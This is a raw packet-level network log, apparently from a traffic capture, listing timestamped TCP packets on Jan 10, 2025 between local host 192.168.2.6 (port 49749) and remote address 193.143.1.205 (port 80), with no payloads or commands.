Jan 10, 2025 22:07:35.521929979 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.521943092 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.521955013 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.521956921 CET	49749	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:07:35.521956921 CET	49749	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:07:35.521965981 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.521977901 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.521992922 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.522006035 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.522037029 CET	49749	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:07:35.522037029 CET	49749	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:07:35.522711992 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.522732019 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.522743940 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.522757053 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.522758007 CET	49749	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:07:35.522769928 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.522799015 CET	49749	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:07:35.522823095 CET	49749	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:07:35.523083925 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.523158073 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.523169994 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.523181915 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.523195028 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.523207903 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.523216963 CET	49749	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:07:35.523257971 CET	49749	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:07:35.523258924 CET	49749	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:07:35.523650885 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.523674965 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.523691893 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.523701906 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.523709059 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.523715019 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.523721933 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.523729086 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.523735046 CET	49749	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:07:35.523736000 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.523741961 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.523747921 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.523755074 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.523757935 CET	49749	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:07:35.523814917 CET	49749	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:07:35.523814917 CET	49749	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:07:35.524663925 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.524676085 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.524688005 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.524699926 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.524710894 CET	49749	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:07:35.524713993 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.524736881 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.524748087 CET	49749	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:07:35.524749994 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.524760962 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.524775028 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.524787903 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.524805069 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.524810076 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.524810076 CET	49749	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:07:35.524863005 CET	49749	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:07:35.524863958 CET	49749	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:07:35.525000095 CET	49749	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:07:35.525178909 CET	49749	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:07:35.525962114 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.525976896 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.526034117 CET	49749	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:07:35.526107073 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.526119947 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.526140928 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.526153088 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.526160955 CET	49749	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:07:35.526165009 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.526175976 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.526189089 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.526201010 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.526210070 CET	49749	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:07:35.526215076 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.526226997 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.526238918 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.526251078 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.526264906 CET	49749	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:07:35.526264906 CET	49749	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:07:35.526313066 CET	49749	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:07:35.532170057 CET	49749	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:07:35.538434982 CET	49749	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:07:35.562668085 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.562681913 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.562693119 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.562736988 CET	49749	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:07:35.588100910 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.588119030 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.588160992 CET	49749	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:07:35.588244915 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.588258028 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.588269949 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.588277102 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.588288069 CET	49749	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:07:35.588289022 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.588300943 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.588315010 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.588326931 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.588359118 CET	49749	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:07:35.588359118 CET	49749	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:07:35.609517097 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.609534025 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.609548092 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.609570980 CET	49749	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:07:35.609628916 CET	49749	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:07:35.609761000 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.609781981 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.609791994 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.609827042 CET	49749	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:07:35.624485970 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.624509096 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.624517918 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.624537945 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.624538898 CET	49749	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:07:35.624548912 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.624568939 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.624581099 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.624593019 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.624596119 CET	49749	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:07:35.624596119 CET	49749	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:07:35.624619961 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.624631882 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.624643087 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.624660015 CET	49749	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:07:35.624660015 CET	49749	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:07:35.624676943 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.624686003 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.624697924 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.624716997 CET	49749	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:07:35.624716997 CET	49749	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:07:35.646841049 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.646878004 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.646929026 CET	49749	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:07:35.647206068 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.647253036 CET	49749	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:07:35.647339106 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.647397995 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.647480011 CET	49749	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:07:35.647641897 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.647737980 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.647789001 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.647799015 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.647802114 CET	49749	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:07:35.647811890 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.647846937 CET	49749	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:07:35.647891045 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.647902966 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.647919893 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.647931099 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.647939920 CET	49749	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:07:35.647942066 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.647950888 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.647972107 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.647986889 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.647994041 CET	49749	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:07:35.647994041 CET	49749	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:07:35.647998095 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.648009062 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.648040056 CET	49749	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:07:35.648040056 CET	49749	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:07:35.648041010 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.648060083 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.648076057 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.648087025 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.648097038 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.648107052 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.648119926 CET	49749	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:07:35.648119926 CET	49749	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:07:35.648128033 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.648138046 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.648149014 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.648159027 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.648168087 CET	49749	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:07:35.648168087 CET	49749	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:07:35.648171902 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.648181915 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.648192883 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.648211002 CET	49749	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:07:35.648221970 CET	49749	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:07:35.648251057 CET	49749	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:07:35.648264885 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.648297071 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.648307085 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.648356915 CET	49749	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:07:35.648411989 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.648428917 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.648446083 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.648457050 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.648468971 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.648478985 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.648490906 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.648494959 CET	49749	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:07:35.648494959 CET	49749	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:07:35.648502111 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.648514032 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.648524046 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.648536921 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.648541927 CET	49749	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:07:35.648541927 CET	49749	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:07:35.648550034 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.648580074 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.648591042 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.648595095 CET	49749	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:07:35.648595095 CET	49749	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:07:35.648602009 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.648612976 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.648622990 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.648634911 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.648646116 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.648646116 CET	49749	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:07:35.648646116 CET	49749	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:07:35.648664951 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.648679972 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.648689032 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.648698092 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.648713112 CET	49749	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:07:35.648713112 CET	49749	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:07:35.648725986 CET	49749	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:07:35.648848057 CET	49749	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:07:35.648850918 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.648866892 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.648879051 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.648889065 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.648900032 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.648911953 CET	49749	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:07:35.648916960 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.648927927 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.648933887 CET	49749	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:07:35.648937941 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.648957014 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.648967981 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.648977995 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.648986101 CET	49749	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:07:35.648986101 CET	49749	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:07:35.648988962 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.648999929 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.649010897 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.649024010 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.649034977 CET	49749	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:07:35.649035931 CET	49749	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:07:35.649043083 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.649063110 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.649065971 CET	49749	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:07:35.649075031 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.649086952 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.649099112 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.649111986 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.649113894 CET	49749	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:07:35.649113894 CET	49749	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:07:35.649122000 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.649133921 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.649146080 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.649157047 CET	49749	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:07:35.649157047 CET	49749	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:07:35.649245977 CET	49749	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:07:35.649635077 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.649652958 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.649878025 CET	49749	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:07:35.649878025 CET	49749	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:07:35.651210070 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.651257992 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.651268959 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.651281118 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.651293039 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.651305914 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.651325941 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.651328087 CET	49749	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:07:35.651328087 CET	49749	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:07:35.651401997 CET	49749	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:07:35.665687084 CET	49749	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:07:35.670905113 CET	49749	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:07:35.676255941 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.676276922 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.676289082 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.676299095 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.676299095 CET	49749	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:07:35.676305056 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.676316977 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.676327944 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.676340103 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.676373005 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.676374912 CET	49749	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:07:35.676374912 CET	49749	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:07:35.676387072 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.676398039 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.676449060 CET	49749	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:07:35.676449060 CET	49749	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:07:35.676470995 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.676487923 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.676500082 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.676510096 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.676522017 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.676532030 CET	49749	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:07:35.676567078 CET	49749	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:07:35.681322098 CET	49749	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:07:35.713309050 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.713382959 CET	49749	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:07:35.713458061 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.713469028 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.713481903 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.713493109 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.713504076 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.713510990 CET	49749	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:07:35.713515043 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.713529110 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.713540077 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.713551044 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.713562012 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.713565111 CET	49749	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:07:35.713572025 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.713583946 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.713593006 CET	49749	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:07:35.713596106 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.713622093 CET	49749	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:07:35.713622093 CET	49749	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:07:35.735342026 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.735382080 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.735393047 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.735404968 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.735404968 CET	49749	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:07:35.735416889 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.735428095 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.735440016 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.735452890 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.735459089 CET	49749	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:07:35.735459089 CET	49749	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:07:35.735505104 CET	49749	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:07:35.735510111 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.735527992 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.735596895 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.735609055 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.735619068 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.735642910 CET	49749	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:07:35.735644102 CET	49749	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:07:35.735665083 CET	49749	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:07:35.735678911 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.735691071 CET	80	49749	193.143.1.205	192.168.2.6
